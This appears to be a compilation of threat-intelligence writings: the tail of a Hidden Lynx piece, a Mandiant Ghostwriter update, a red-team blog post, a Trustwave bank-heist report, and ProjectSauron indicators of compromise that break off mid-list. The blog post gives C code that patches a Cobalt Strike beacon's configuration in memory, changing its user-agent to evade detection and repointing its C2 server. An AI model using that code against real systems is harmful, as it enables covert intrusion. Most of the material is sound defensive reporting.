trusted file signing infrastructure. The VOHO campaign was ultimately targeting US defense contractors whose systems were protected by Bit9’s trust-based protection software, but when the Hidden Lynx attackers’ progress was blocked by this obstacle, they reconsidered their options and found that the best way around the protection was to compromise the heart of the protection system itself and subvert it for their own purpose. This is exactly what they did when they diverted their attention to Bit9 and breached their systems. Once breached, the attackers quickly found their way into the file signing infrastructure that was the foundation of the Bit9 protection model; they then used this system to sign a number of malware files, and then these files were used in turn to compromise the true intended targets. For those interested in more in-depth information, we have published a whitepaper that describes the group and the attack campaigns carried out by them. We have also put together an infographic that summarizes the key information about this prolific Hidden Lynx group.
# Ghostwriter Update: Cyber Espionage Group UNC1151 Likely Conducts Ghostwriter Influence Activity ## Executive Summary - In July 2020, Mandiant Threat Intelligence released a public report detailing an ongoing cyber-enabled influence campaign named “Ghostwriter.” The campaign has primarily targeted audiences in Lithuania, Latvia, and Poland with narratives critical of NATO’s presence in Eastern Europe. Since that report, we have identified over twenty additional incidents that we believe are part of Ghostwriter activity reported to Mandiant Intelligence customers. - The narratives, targeting, and tactics, techniques, and procedures (TTPs) associated with Ghostwriter activity have expanded. For example, five operations took place between October 2020 and January 2021 in which the social media accounts of Polish officials were compromised and used to disseminate narratives seemingly intended to discredit the Polish government and widen existing domestic political divisions. - We now assess with high confidence that UNC1151, a suspected state-sponsored cyber espionage actor that engages in credential harvesting and malware campaigns, conducts at least some components of Ghostwriter activity. Beginning at the start of 2021, UNC1151 expanded its credential theft activity to target German individuals, focusing on politicians. We do not associate UNC1151 with any other previously tracked threat groups. ## Introduction In July 2020, Mandiant Threat Intelligence released a public report detailing an ongoing influence campaign named “Ghostwriter.” Ghostwriter is a cyber-enabled influence campaign that primarily targets audiences in Lithuania, Latvia, and Poland and promotes narratives critical of NATO’s presence in Eastern Europe. Since releasing our public report, we have continued to investigate and report on Ghostwriter activity to Mandiant Intelligence customers. We tracked new incidents as they happened and identified activity extending back years before we formally identified the campaign in 2020. This report provides an update on Ghostwriter, highlighting two significant developments. We have observed an expansion of narratives, targeting, and TTPs associated with Ghostwriter activity since we released our July 2020 report. For example, several recent operations have heavily leveraged the compromised social media accounts of Polish officials on the political right to publish content seemingly intended to create domestic political disruption in Poland rather than foment distrust of NATO. These operations, conducted in Polish and English, appear to have largely not relied on the dissemination vectors we have typically observed with previous Ghostwriter activity, such as website compromises, spoofed emails, or posts from inauthentic personas. ## Observed Expansion of Narratives, Targeting, and TTPs Associated with Ghostwriter Activity While we have continued to track and investigate Ghostwriter influence activity that follows the typical operational model laid out in our July 2020 public report, we have also observed an expansion of the narratives, targeting, and TTPs associated with Ghostwriter activity. For example, in January, we began investigating five operations that took place between October 2020 and January 2021 in which the social media accounts of Polish officials were compromised and used to disseminate narratives seemingly intended to discredit the Polish government domestically and to widen existing domestic political divisions. - The five operations used compromised Twitter, Facebook, and/or Instagram accounts of Polish officials as the main vector for content dissemination. We have observed no evidence that these platforms were themselves compromised and instead believe social media account credentials were obtained using the compromised email accounts of targeted individuals. The takeover of high-profile social media accounts after the operators gained access to those users’ corresponding email accounts reinforces the continued importance for potential campaign targets to secure their social media accounts with two-factor authentication. - Polish officials who are members of political parties within the ruling United Right political coalition (Zjednoczona Prawica), which currently holds power in Poland, were the primary victims of the observed account compromises. The majority of United Right coalition victims are either affiliated with the Law and Justice party (Prawo i Sprawiedliwość or PiS) or the Agreement party (Porozumienie). ## Conclusion Mandiant Threat Intelligence has continuously investigated and reported on the ongoing Ghostwriter influence campaign since publicly naming it in July 2020. We have since observed a seeming expansion of the narratives, targeting, and TTPs associated with Ghostwriter activity and developed further intelligence that leads us to assess that the cyber espionage group UNC1151 conducts at least some components of Ghostwriter activity. We have also identified Ghostwriter influence activity extending back years before we formally identified the campaign in 2020. However, current intelligence gaps, including gaps pertaining to website compromises and the operation of false personas, do not allow us to conclusively attribute all aspects of the Ghostwriter campaign to UNC1151 at this time.
# Tailoring Cobalt Strike on Target By Adam Chester in Penetration Testing, Red Team Adversarial Attack Simulation, Research, Security Testing & Analysis January 28, 2021 We’ve all been there: you’ve completed your initial recon, sent in your emails to gather those leaked HTTP headers, spent an age configuring your malleable profile to be just right, set up your CDNs, and spun up your redirectors. Then it’s time, you send in your email aaaaaand… nothing. You can see from your DNS diagnostic callbacks that the beacon executed, so what gives? You quickly make a few changes to your payload and resend your phish. But it’s too late, a Slack message has been sent, warning everyone to be careful of opening suspicious emails… OK, so maybe that’s a tad specific, but you get the point. Phishing is getting harder and rightly so—as an industry, we’ve spent years sending campaign after campaign, openly publishing research on how to evade that new security product with that obscure fronting technique. But we can’t really afford to lose what could be our only avenue for gaining access to a target, right? Here on the TrustedSec Adversary Emulation team, we’ve spent a lot of time coming up with ways to ensure that our first payload execution attempt has as much chance of succeeding as possible. One effective technique is offloading the configuration of our command and control (C2) profile to the target by analyzing the execution environment and checking our potential connectivity before we ever kick off a beacon. That way, we can be sure that everything will work and look as benign as possible before we let our agent work its magic. Unfortunately, this kind of technique isn’t supported out-of-the-box on frameworks like Cobalt Strike. In this blog post, we will look at one method that has proved to be useful to achieving this level of customization by patching Cobalt Strike’s beacon payload on target. ## Cobalt Strike Beacon Generation Before we look at what we are doing to squeeze out every last bit of Cobalt Strike customization we can, we first need to understand how our options are embedded within a generated beacon. Somewhat ironically for us, this research has already been done by defenders such as SentinelOne’s CobaltStrikeParser project created by Gal Kristal, which looks to extract information from a binary beacon and displays details to defenders. So how is our configuration embedded within a beacon and how do we find it? The first thing we need to do is to scan our beacon for the signature `\x2e\x2f\x2e\x2f\x2e\x2c`, which is an XOR obfuscated version of the binary blob `\x00\x01\x00\x01\x00\x02` (the significance of this blob will become apparent as we move through this post). Each option added to the beacon configuration is encoded using a header and a data value. The header is made up of three (3) 16-bit values with the format: `[ ID ] [ DATA TYPE ID ] [ LENGTH OF VALUE ] [ VALUE ]` The `ID` field signifies the configuration option that this setting applies to, e.g., if the option refers to the user-agent string, the ID field would be `9`. Next, the `DATA TYPE ID` field is assigned to the data type used for the options value. At the time of writing, the data type IDs supported are: 1 – Short 2 – Int 3 – String 4 – Data Following this is a `LENGTH OF VALUE` field, which specifies the allocated length in bytes of the option value, which follows the header. An important caveat here is that the length field is set to how much total space is actually allocated for a value. For example, if we have a data type of `3` and a value of `Hello\x00`, but the field permits 128 bytes, the length field would be set to `128`. Finally, we have the actual value itself. If we were adding a Port option (which has an ID of `2`) of the type `Short` and a value of `3133`, this would be represented as: `[ 2 ] [ 1 ] [ 2 ] [ 3133 ]` Once our option has been embedded, it is obfuscated with an XOR key of `0x2e`, which helps to hide everything from the casual “strings” command. To make life a bit easier for us as we work with these configuration options, we can use the C struct of: ```c struct CSConfigField { unsigned short ID; unsigned short dataType; unsigned short dataLength; union { unsigned short shortData; unsigned int intData; char data[1]; } value; }; ``` Now that we know just how our options are embedded within our beacon, we can move on to looking at configuring these options during runtime. ## Huh?? We Don’t Even use IE One thing that we can configure in Cobalt Strike using a malleable profile is the user-agent used by the beacon for HTTP C2 requests. To do this, we would add something like: `set useragent "something legit";` We would typically set this to something that we gather during OSINT, but as noted in the documentation, if we fail to provide this configuration option, what we end up with is a random Internet Explorer user-agent. The way Cobalt Strike does this is to select a user-agent from a finite list at random during beacon creation. Some samples are: - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALC) - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0) Now if the target is using IE, this would be somewhat OK (although the OS version would still be a giveaway), but what if a host known to use Chrome or Firefox suddenly starts making IE requests out to a new domain… pretty suspicious. This makes an ideal first candidate for customizing our beacon payload on target, by finding any active browsers or the default registered browser and updating our `useragent` option before we kick off our beacon. To do this, we first need to find our beacon configuration block, which as we now know can be done by hunting for the `\x2e\x2f\x2e\x2f\x2e\x2c` signature: ```c #define MAX_MALLEABLE_SIGNATURE_LENGTH 6 #define MALLEABLE_SIGNATURE "\x2e\x2f\x2e\x2f\x2e\x2c" #define MALLEABLE_LENGTH 6 #define MALLEABLE_XOR 0x2e #define MALLEABLE_CONFIG_SIZE 4096 extern char inmemorybeacon[]; int beaconConfigOffset = 0; int xorKey = 0; // Hunt for the Cobalt Strike profile in memory for (int i = 0; i < beaconLength - MAX_MALLEABLE_SIGNATURE_LENGTH; i++) { if (memcmp(beacon + i, MALLEABLE_SIGNATURE, MALLEABLE_LENGTH) == 0) { beaconConfigOffset = i; xorKey = MALLEABLE_XOR; break; } } ``` Once we have this, we need to decode the config blob using an XOR key of `0x2e`: ```c char config[MALLEABLE_CONFIG_SIZE]; // Decode the profile using the XOR key we have for (int i = 0; i < MALLEABLE_CONFIG_SIZE; i++) { config[i] = *(beacon + beaconConfigOffset + i) ^ xorKey; } ``` When decoded we can then parse the config until we find the ID of `9` corresponding to the user-agent option: ```c #define CS_OPTION_USERAGENT 9 struct CSConfigField *configField = (struct CSConfigField *)malleable; while(SWAP_UINT16(configField->ID) != 0x00) { if (SWAP_UINT16(configField->ID) == CS_OPTION_USERAGENT) { // Do something with our user-agent here break; } configField = (struct CSConfigField *)((char *)configField + 6 + SWAP_UINT16(configField->dataLength)); } ``` If we find this option, we will see that we have 128 bytes to play with. We first need to decide on the user-agent most likely to make sense for our target and copy this over to our config: ```c userAgent = findBestUserAgentMatch(); memset(configField->value.data, 0, SWAP_UINT16(configField->dataLength)); strncpy(configField->value.data, userAgent, SWAP_UINT16(configField->dataLength)); ``` And once we have set this, we then update the config blob and re-XOR before passing execution to the beacon: ```c // Re-encode the config to be copied back into memory for (int i = 0; i < MALLEABLE_CONFIG_SIZE; i++) { *(beacon + beaconConfigOffset + i) = config[i] ^ xorKey; } ``` Now if everything goes well, we will end up with our C2 beaconing using our newly configured (and hopefully more accurate) user-agent. ## Can we even reach our C2? Next up is something that has annoyed most of us: execution of a payload that fails because our C2 channel is blocked. Many people will use Cobalt Strike’s round-robin functionality to seed a number of potentially valid egress addresses, but this suffers from a number of drawbacks. First is the fact that each needs to be provided upfront, meaning we cannot adjust the C2 destination using an alternate channel if we find that we cannot connect. Secondly, the round-robin approach doesn’t remove any blocked destinations from its pool, meaning if only one (1) out of four (4) targets is valid, you will still be hitting three (3) potentially blocked locations each time the beacon cycles. So how do we go about updating something like our C2 destination? Similar to the user-agent option, we again need to grab our configuration block and hunt for the C2 Server option, which is found using the ID of `8`: ```c struct CSConfigField *configField = (struct CSConfigField *)malleable; while(SWAP_UINT16(configField->ID) != 0x00) { if (SWAP_UINT16(configField->ID) == CS_OPTION_C2) { // Do something with our c2 target here break; } configField = (struct CSConfigField *)((char *)configField + 6 + SWAP_UINT16(configField->dataLength)); } ``` Before we update our callback destination, we need to have some idea of where to point our C2. For the purposes of this proof of concept (POC), we are going to use a hardcoded list of endpoints that are checked for connectivity, but feel free to get creative with your egress selection process. At TrustedSec, we have crafted a few options to select an appropriate C2 destination. One that works particularly well is a rule-based selection based on DNS CNAME records, allowing the rotation, removal, or addition of new locations as required. Once we have tested connectivity to make sure that everything will work, all that is left to do is to update our C2 location in our beacon configuration: ```c strncpy(configField->data, "derivedc2address.com,/Page", configField->dataLength); ``` Here it is worth noting the format of the configuration option, where we have our C2 address of `derivedc2address.com` followed by the GET page of `/Page`. The page option needs to match your malleable profile (unless you use a customized redirector), but we are free to set the target as we wish. Finally, we re-XOR our config, release the beacon, and watch it connect to our newly selected destination, which we have verified upfront will work. ## What options are available for us to modify before execution? Some interesting options are: - 2 (Short) – Port - 3 (Int) – Sleep Time - 5 (Short) – Jitter - 8 (256 byte string) – C2 Server - 9 (128 byte string) – User Agent - 10 (64 byte string) – Post URI - 14 (16 byte data) – SpawnTo - 15 (128 byte string) – Pipe Name - 26 (16 byte string) – GET verb - 27 (16 byte string) – POST verb - 28 (Int – 96 as true, 0 as false) – Should Chunk Posts - 29 (64 byte string) – SpawnTo (x86) - 30 (64 byte string) – SpawnTo (x64) For a full list you can either review Cobalt Strike’s `BeaconPayload.class`, or refer to defensive tools which have a pretty comprehensive list already. A sample of the code used in this post is now available on GitHub, enjoy (and get creative)!
# A Trustwave SpiderLabs Advanced Threat Report ## Post-Soviet Bank Heists: A Hybrid Cybercrime Study **Authors** Thanassis Diogos EMEA Managing Consultant, Incident Response, Trustwave Sachin Deodhar EMEA Incident Response Consultant, Trustwave **Research and Publication** Rodel Mendrez and Gerald Carsula Malware Research Team, Trustwave ## Introduction Earlier this year, the SpiderLabs team at Trustwave investigated a series of bank breaches originating from post-Soviet states. These investigations took place during mid-to-late 2017, and each bank compromise resulted in a significant amount of stolen funds. The actual amount of money stolen was different in each case, with the average amount around USD$5 million (in cash), ranging from USD$3 to USD$10 million. The investigations showed that the attacks shared a number of common features, such as involving large amounts of monetary loss originating from what initially appeared to be legitimate bank customer accounts. Additionally, in all cases, the theft took place using normal cash withdrawals from various ATM terminal locations outside the bank’s originating country. In some cases, the victim banks didn’t even realize that a breach had taken place and a significant amount of money was stolen until well after the attack was completed. In a few cases, the malicious activity was reported to the banks by third-party processors responsible for processing the bank’s debit and credit card transactions. The common feature between these cases is that money was stolen using legitimate ATM cards provided by each bank. Criminals used (or hired) people to personally visit the various branches and request new accounts with minimum or zero initial deposit amounts. Beyond opening their “personal” accounts, they also demanded to receive a debit card with their new account. Initially, this might not appear to be an issue since debit card usage is directly related to the account’s balance. However, in the banking world, a service called “Overdraft” exists; simply put, it means that under very specific circumstances a debit card can be converted into a credit card. This means that the bank allows their customer to withdraw cash even though they do not have the appropriate balance in their account. Of course, this is supposed to happen only for specific account types, also referred to as risk levels. After the debit cards were delivered to the customers, they were distributed outside the originating country to a group of international conspirators. When all the cards had been relocated to their destination countries, a cyber-criminal, who had already breached the victim bank network, accessed the bank’s internal systems and manipulated the debit cards’ features to enable a high overdraft level and removed anti-fraud controls that had been placed for the specific accounts. Minutes later the operation continued in the countries where the debit cards had travelled. The debit cards were used to perform cash withdrawals from several different ATMs. Within the next few hours, the operation concluded, removing up to USD$10 million from each bank. We believe that the attack described in this report represents a clear and imminent threat to financial institutions in European, North American, Asian, and Australian regions within the next year. Currently, the attacks are localized to the Eastern European and Russian regions. However, in cybercrime, this area is often the canary in the mineshaft for upcoming threats to other parts of the world. Our investigations have revealed victim losses currently around approximately USD$40 million. However, when taking into account the undiscovered or uninvestigated attacks along with investigations undertaken by internal groups or third parties, we estimate losses to be in the hundreds of millions in USD. All global financial institutions should consider this threat seriously and take steps to mitigate it. ## A Closer Look To drill into the details of these criminal operations we will take a closer look at one of the cases. On a winter evening in February 2017, a credit/debit card processor’s fraud management system picked up a series of suspicious ATM withdrawal transactions originating from the victim bank’s customer accounts during the late-night hours until the early morning. The withdrawals occurred at ATM terminals located across the region, including Europe and the Russian Federation. Notably, no ATM transactions occurred in countries where the affected bank had a presence. In addition to requesting the Trustwave SpiderLabs team to perform a thorough investigation, the bank also reported this incident to local law enforcement agencies. Undoubtedly this incident appeared to be multifaceted; it appeared that the bank’s network was breached, and it also seemed likely that the processor’s network may have also been compromised. Moreover, it was also likely that there was a physical facet to this breach, in which an organized cybercriminal network was involved. The Trustwave team’s objective was to investigate the incident based purely on available factual evidence and its unbiased interpretation. The third-party processor engaged an independent team from Trustwave SpiderLabs to investigate the impact of the incident on its network and its overall business. This way Trustwave could see the whole picture from the perspectives of both the affected bank and the third-party processor, whose services the bank used for its card processing functions. The Trustwave team commenced both sides of the investigation immediately and was able to successfully uncover what we believe to be a very interesting, if not entirely unique, modus operandi behind the successful breaches of both the bank and processor networks. The objective of such an operation is the successful withdrawal of funds from the rogue accounts created earlier, as described in this report. The attackers used innovative attack tactics, techniques, and procedures to successfully execute a long-duration “hybrid” attack campaign comprising two physical stages and multiple cyber-attack stages as depicted below: **Stages of the Attack** - **Physical Stage I**: Recruit mules to open bank accounts and issue new debit cards - **Cyber Stage I**: Obtain unauthorized privileged access to the bank’s network - **Cyber Stage II**: Compromise third-party processor’s network - **Cyber Stage III**: Obtain privileged access to Card Management System - **Cyber Stage IV**: Activate overdraft on specific bank accounts - **Physical Stage II**: Cash-out from ATMs in multiple cities and countries ## Detailed Walkthrough Our findings suggest that motivation for the attack was purely financial gain. Our analysis shows that the cyber attackers and their physical counterparts worked in close and very effective coordination to execute this malicious operation: - The cybercriminal network behind this attack recruited so-called “mules” (non-technical conspirators whose job is to transfer money for cybercriminals) to open dozens of new bank accounts by physically visiting various branches of this bank in different cities in the country. These individuals used counterfeit documents to request bank accounts, most likely supplied by the organized cybercriminal network. Once these people had new bank accounts approved, they then requested debit/ATM card companions to their new bank accounts. After they obtained these debit cards, they probably handed these debit cards over to a member of the cybercriminal network for distribution outside the country for later use. **Physical Part of the Attack** - Recruit mules to apply for new bank accounts - Supply mules with fake IDs - Rogue accounts are created - Request debit cards - Debit cards are issued - Debit cards sent outside the country - While the physical activities involving application for accounts and debit cards were taking place at the bank’s various branches in the country, the cyber attackers gained initial entry, moved laterally, and compromised multiple systems inside the bank’s network. **Gaining Initial Foothold in the Bank Network** - Opportunistic Phishing: Emails to employees with malicious attachments opened – ‘backdoor’ is created - Social Engineering: Attackers successfully obtain ‘backdoor’ access through compromised computers - Exploit Windows Computers: Set up multiple ‘backdoors’ and RDP access to compromised systems - After successfully compromising the bank’s network, the cyber attackers then proceeded to launch an attack on the third-party processor’s network and eventually (after numerous attempts) they succeeded. The bank, due to their established cooperation with the processor, already maintained connectivity with the processor. This made it easier for the criminals because they had already gained access to the bank’s infrastructure and had captured the credentials used to connect to the processor. After gaining foothold into the processor’s network, the attackers compromised the Enterprise Admin account which eventually gave them full access into the infrastructure. Their next step was to execute reconnaissance of the card processing service. **Lateral Movement and Successful Compromise of Bank Network** - Leverage Control Weakness in Windows Network - Launch Lateral Movement Attack - Obtain the “Keys to the Kingdom” - Compromise Bank Network - Next, the attackers executed several malicious payloads on the processor’s network, key amongst them was a legitimate monitoring tool installed on the processor’s Terminal Server (that allowed users to access the card management application via a browser). This software called “Mipko” (advertised as “Employee Monitor”) captures full information, including screen captures, keystrokes, and several other types of information for all users who logged into the system and/or accessed the card management application using their respective credentials. In this way, the software attackers captured almost 4GB of data within a month. The information captured included keystroke logging and countless screenshots. **Installation of Keylogger and Compromise of the Processor Network** - Choose Staging Point on Bank Network - Connect to Processor Network - Install Keylogger on Network - Compromise Processor Network - The attackers then identified the accounts on the card management application used by the bank employees who had authorization to “request” changes to the properties of a customer’s debit card, and “approve” or “commit” such a change. They were looking for such privileges to manipulate each of the cards associated with the rogue accounts created during the preceding months. - During the day of the final stage, attackers used these credentials to: - Change risk ratings on the rogue accounts from high to low allowing the attackers to activate further credit permission, known as Overdraft (or simply OD). - Activate the OD credit function on the accounts. - Manipulate or remove any anti-fraud control in place for these accounts. - Change the OD Limit on the accounts from the default value of USD$0 to ranges of USD$25,000 - USD$35,000. **Choose Privileged User Account in CMS** - Raise Request to Change Debit Card Properties - Finalize Changes to Debit Card Properties - The physical counterparts stationed at various locations in Europe and the Russian Federation then cashed out substantial amounts of money for each of these cards from ATM terminals. Cash withdrawals across the region began within minutes of the first OD property change made to the debit cards on the card management application. **Coordinated ATM Cash Withdrawals ~ Millions of USD** - Command & Control with Physical Mules for Coordinated Cash Outs - Direct $ Value of Loss: Millions of USD As in the preceding phases of the attack, careful planning went into the choice of ATM locations to be used for cash withdrawals, based on the following criteria: 1. Location: those in solitary locations took precedence over those in locations with higher foot traffic. 2. Degree of physical security: ATMs with no security cameras (or those with defective security cameras) were chosen as well as terminals that were not protected by security guards. 3. The ability to dispense substantial amounts of cash. ATMs (mis)configured to allow withdrawal of substantial amounts of money were chosen. (Specifically, either very high or no daily withdrawal limits were selected). 4. ATM locations were chosen in cities across Europe, (including former Soviet Union countries), and the Russian Federation. No selected ATM was located in the victim bank’s actual country. The final stage of this hybrid operation took almost five hours to complete. This was the time required for each rogue account to be carefully manipulated and for simultaneous debit card withdrawals across the geographic region to occur. As in the first phase of the operation where the mules played an active role in requesting the new accounts and debit cards, in the final phase the mules were employed to perform the cash withdrawals. Only a small number of the ATMs were equipped with security cameras, so a few mules were caught in action. Law enforcement requested video footage from surrounding buildings’ cameras and this revealed that the mules met with other suspects (probably direct members in the cybercrime gang) shortly after cashing out the debit cards. These meetings were most likely to deliver the stolen cash, after keeping their fee. ## Malicious Code Throughout the distinct phases of the cyber-attack, we noted that attackers adopted the emerging tactic sometimes called “living off the land” which involves very limited use of actual malware in the form of malicious files and easily detected protocols associated with Command & Control and data exfiltration traffic. Instead, the attackers used legitimate Windows and PowerShell commands in combination with tools such as PSExec for lateral movement. Notably, they also used plink.exe (Windows SSH client) to access RDP over an already established SSH tunnel. Other software components used in this operation were split among commercial monitoring application (Mipko Employee Monitor) and the well-known suspect “Cobalt Strike Beacon” mainly used to maintain backdoor connection with an endpoint geolocated in the United States of America. It should be noted that after the attackers penetrated the bank’s network, they continually used a specific system to perform their activities. We focused our investigation on this system after backtracking malicious activities in the processor’s network to it. Remote Desktop activity on the processor network was identified to have originated from the bank system. Eventually, we asked the bank to provide this system for investigation. At that point, the bank’s IT staff responded that this system became unbootable shortly after the massive cash out occurred. When we obtained a copy of the system for analysis we found it was unbootable and the file system was corrupt. However, the Trustwave team was able to reconstruct the partition table and analyze the file system enabling collection and analysis of significant evidence from this key system. One of them was called dropper.exe and upon execution its main function was to wipe the Master Boot Record on the hard disk, effectively destroying the system for any future use. This was the last recorded action taken by the attackers before leaving the network. They appeared to truly care about clearing any remaining tracks of their activity that may have been left behind. Our investigation did not reveal any signs of data exfiltration from the bank itself. The bank’s network appears to have been breached for two primary reasons: 1. The bank had an established mechanism to connect to the processor’s network from several terminals inside the bank network by first establishing a VPN session between the two networks and then using Remote Desktop Protocol (RDP) to connect from a system inside the bank network to the Windows Terminal Server in the processor’s network. By attacking the bank’s network, the attackers could piggyback on this connection to get a foothold on the processor’s network (and subsequently obtain access to the card management application in the processor’s network). 2. To withdraw funds from the newly issued debit cards for the “rogue” bank accounts, the attackers needed to obtain credentials of the bank employees that used the card management application on the processor’s network. Using these credentials, they could change the necessary properties of the debit cards to cash out from ATM terminals in the final stage of the attack. Based entirely on the precision with which the attack was carried out, we believe that the attackers had previously obtained deep inside knowledge of the bank’s network and systems. Similarly, they obtained an understanding of the processor’s environment, and of the card management software and how these systems could be used to manipulate a debit card’s sensitive properties such as its overdraft (OD) limit and its Risk Rating. These two parameters are needed to determine the account’s OD limit and therefore how much money the account holder can withdraw. It should also be noted that the attacker’s tradecraft suggests involvement of organized cybercrime groups; for example, the attackers successfully wiped the Master Boot Record (MBR) of the hard disk attached to the main Windows system used in this attack. They used specialized malware intending to thwart any future forensic examination of the system. It goes without saying that the adverse negative impact of this incident was felt by both the bank and the processor: - The direct dollar value of the loss incurred by the bank pales in comparison with the harder to quantify intangible losses suffered because of loss of trust and goodwill with its customers, partners, and regulators. Also, the bank customers’ money remained intact as the debit cards that were used for ATM withdrawals were issued against the newly created rogue accounts, none of which had any balance since they were set up. - In the case of the processor, while no direct monetary loss was incurred, the processor likely lost much more in terms of erosion of trust in their services both with the regulators and their clients (other banks). ## Recommendations - Banks are advised to prepare a well-documented and tested Incident Response Plan (IRP) so they are better prepared to deal with such incidents swiftly and effectively. - In addition to implementing an effective (but inherently reactive) IR Plan, banks are also advised to consider setting up a proactive program for Managed Detection & Response (MDR), also known as threat hunting, which would allow banks to detect threats early on, and mitigate them before they have a chance to realize their full potential. - The success of these cyber-attacks may be attributed to failures in both technical and non-technical controls, for example, the lack of coupling between the Core Banking System and the Third-Party Card Management System. Had these systems been integrated properly, it would have been much simpler for the changes to the debit card properties to be red-flagged and blocked by the bank prior to successful monetary theft. Another example of a non-technical control failure is that several accounts on the Card Management System were allowed to both “raise a request” for a change to be made, and to “approve” such a change. This is in clear violation of the very commonly used type of control in banks and banking applications called Maker-Checker control (or the 4-eye principle). Therefore, banks are advised to undertake not only a proactive cyber security risk assessment exercise, but also to undertake a holistic “business process” risk management exercise to detect and mitigate these types of control weaknesses. - From a technical standpoint, success of these cyber-attacks may be attributed to the following reasons: - First, the attackers were able to successfully spear phish and socially engineer bank employees to get an initial foothold in their networks. - Second, the attackers took advantage of the common approach of setting the same password for “Local Administrator” accounts for all the systems in the Windows network, and the tendency of the systems administrators to use the “Domain Administrator” account (over the network) to perform routine tasks, to compromise other systems in the Windows network and eventually obtain the “Domain Admin” credentials. For these reasons, we recommend: - A different approach (e.g. Windows LAPS) to managing Local Administrator account credentials for the systems in their Windows networks. - Restrict by policy the use of the Domain Admin account over the network unless absolutely necessary. ## Indicators of Compromise ### Files | File name | SHA256 Hash (malicious Files only) | Type | |------------------|---------------------------------------------------------------------------|-------------------------------------------| | plink.exe | 5A21A83DFB5822301896A696F3A1A3E8207BF541E11CD1F2BBB7BC666251D8C7 | Legitimate tool but malicious usage | | netscan.exe | 5748BFB17E662FB6D197886A69DF47F1071052C3381EB1C609A2BC5DBA8C2992 | Legitimate tool but malicious usage | | crss.exe | D845AF9B15052D49CBE67960AF2A9E51EEAD4D1E21A0DE5C372D4925BA8E1B62 | Malicious | | adobeArm.exe | DAAB0E5CF3D968B4144B781793763CC6672B30FACC5AF061D0469D6DFFFDA967 | Malicious | | dropper.exe | DF8948696BB8759EDE500A6A27CE788F1438D1A57F114709D7239865C728B22C | Malicious | | servicePS1.txt | 589B49D72115A24A0F898E3A5165AFF13BE29EA4A6190977BD046B8657C0D994 | Malicious | | lor2.exe | 97A34BCECF276F9B0E16770D43CEBB2AA3A2FACB47081507DF44A961E932220D | Malicious | | java.exe | EED138E53A748EC82A99633BC19020AE6C1D0F609CE3D6555389FB34437EBC02 | Malicious | | sys64.dll | 8A80CA46C0C18CC9B93D5130293A527AA8A925179FAA46597DDD087CD5B1A49F | Malicious | | mpk.exe | 1940C9C9BFBBD64BA7079178CB819E3253E7057EAA8BEA136A99C90C9436782E | Legitimate tool but malicious usage | | mpkview.exe | 8086C8836EBEDE1E7FCF3DEBDC009B0982193DF684A55047237C2112DD376AEA | Legitimate tool but malicious usage | ### IPs/Domains | Host | Usage | Geo Location | |---------------------|-----------------------------------------------------------------------|-------------------| | 192.52.167.228 | C&C, Backdoor reverse connect IP | United States | | 192.52.167.28 | C&C, Backdoor reverse connect IP | United States |
# The ProjectSauron APT: Indicators of Compromise ## C2 - 185.78.64[.]121 - rapidcomments[.]com - 81.4.108[.]168 - bikessport[.]com - 178.211.40[.]117 - 176.9.242[.]188 - www.myhomemusic[.]com - flowershop22[.]110mb[.]com - wildhorses[.]awardspace[.]info - sx4-ws42*.yi[.]org (mask) - 217.160.176[.]157 - asrgd-uz%d.weedns[.]com (mask) - we%d.q.tcow[.]eu (mask) - 5.196.206[.]166 ## Filenames Most of the ProjectSauron DLL filenames seem to have been generated automatically by multiplication of several prefixes, roots and suffixes in a random order. - %System%\rpchlpr.exe - %System%\symnet32.dll - %System%\rdiskman.dll - %System%\rseceng.dll - %System%\msprtssp.dll - %System%\ncompc.dll - %System%\rdeskm.dll - %System%\dpsf.dll - %System%\nsecf.dll - %System%\rdesk.dll - %System%\dpsloc.dll - %System%\ddeskm.dll - %System%\rdisksup.dll - %System%\rcompf.dll - %System%\ncompsup.dll - %System%\rdiskf.dll - %System%\iseceng.dll - %System%\msasspc.dll - %System%\wpsloc.dll - %System%\wpackpwf.dll - %System%\rcnfm.dll - %Temp%\kavupdate.exe - %Temp%\kavupd.exe - %Temp%\klnupd.exe - %System%\hptcpprnt.dll - %System%\rdeskf.dll - %System%\ncnfloc.dll - %System%\msaosspc.dll - %System%\ndiskloc.dll - %System%\mperfcl.dll - %System%\polsec.dll - %System%\sxsmgrkbd.dll - %System%\cfgbaseprt.dll - %System%\seccertapi.dll - %System%\krbsec.dll - %System%\prnpapi.dll - %System%\ndisk.dll - %System%\ndisksup.dll - %System%\rdiskloc.dll - %System%\pngmon.dll - %System%\kavsec64.dll - %System%\wlseccomm.dll - %System%\rcnfsys.dll - %System%\wpackshim.dll - %System%\ncnfsys.dll - %System%\sxsapifeed.dll - %System%\wmupdsvc.dll - %System%\dpsf.dll - %System%\compc.dll - %System%\rdiskf.dll - %System%\compman.dll - %System%\cnfsys.dll - %System%\isecf.dll - %System%\klsec.dll - %System%\nagent.exe - %System%\rpsf.dll - %System%\tv_prntx64.dll - %System%\wdesksys.dll - %System%\dsecc.dll - %System%\dcompf.dll - %System%\dsecman.dll - %System%\isecc.dll - %System%\rcompc.dll - %System%\rcnfloc.dll - %System%\rdisk.dll - %System%\dcompman.dll - %System%\npsloc.dll - %System%\nsecc.dll - %System%\wcprts32.dll - %System%\rpsloc.dll - %System%\rsecman.dll - %System%\mstimed.dll - %System%\dcompsup.dll - %System%\compsup.dll - %System%\ncompman.dll - %System%\rsecloc.dll - %System%\rdeskman.dll - %System%\mfc64d.dll - %System%\sceclid.dll - %System%\ddesksys.dll - %System%\isecman.dll - %System%\scsvc32.exe - %System%\polcfg.dll - %System%\cnfloc.dll - %System%\nseci.dll - %System%\eapproxycrypt.dll ## In-memory string EFEB0A9C6ABA4CF5958F41DB6A31929776C643DEDC65CC9B67AB8B0066FF2492 ## MD5 ### Pipe backdoor / rpc helper - 46a676ab7f179e511e30dd2dc41bd388 - 9f81f59bc58452127884ce513865ed20 - e710f28d59aa529d6792ca6ff0ca1b34 ### Passive sniffer backdoor - 1F7DDB6752461615EBF0D76BDCC6AB1A - 227EA8F8281B75C5CD5F10370997D801 - 2F704CB6C080024624FC3267F9FDF30E - 34284B62456995CA0001BC3BA6709A8A - 501FE625D15B91899CC9F29FDFC19C40 - 6296851190E685498955A5B37D277582 - 6B114168FB117BD870C28C5557F60EFE - 7B6FDBD3839642D6AD7786182765D897 - 7B8A3BF6FD266593DB96EDDAA3FAE6F9 - C0DFB68A5DE80B3434B04B38A61DBB61 - 